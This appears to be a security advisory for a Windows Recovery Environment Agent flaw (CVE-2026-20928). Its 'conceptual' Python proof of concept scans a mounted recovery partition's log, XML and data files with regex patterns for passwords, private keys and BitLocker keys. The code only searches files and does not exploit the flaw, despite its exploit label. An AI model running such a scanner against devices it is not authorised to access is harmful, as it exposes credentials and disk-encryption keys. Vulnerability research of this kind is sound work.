Improper removal of sensitive information before storage or transfer in Windows Recovery Environment Agent allows an unauthorized attacker to bypass a security feature with a physical attack.
Windows Recovery Environment Agent (具体受影响版本需参考微软安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-20928
# This script simulates scanning the WinRE partition for sensitive remnants.
import os
import re
def check_winre_leakage(mount_point):
"""
Scans the mounted WinRE environment for unencrypted sensitive data.
"""
print(f"[*] Analyzing WinRE partition at: {mount_point}")
sensitive_patterns = [
r'password\s*=\s*\w+',
r'private_key\s*=\s*\w+',
r'bitlocker_key\s*=\s*[0-9A-F-]+'
]
for root, _, files in os.walk(mount_point):
for file in files:
if file.endswith('.log') or file.endswith('.xml') or file.endswith('.dat'):
file_path = os.path.join(root, file)
try:
with open(file_path, 'r', errors='ignore') as f:
content = f.read()
for pattern in sensitive_patterns:
if re.search(pattern, content, re.IGNORECASE):
print(f"[!] Potential sensitive data found in: {file_path}")
return True
except Exception:
continue
return False
# Note: This requires physical access to mount the specific partition.
# check_winre_leakage('/mnt/winre_partition')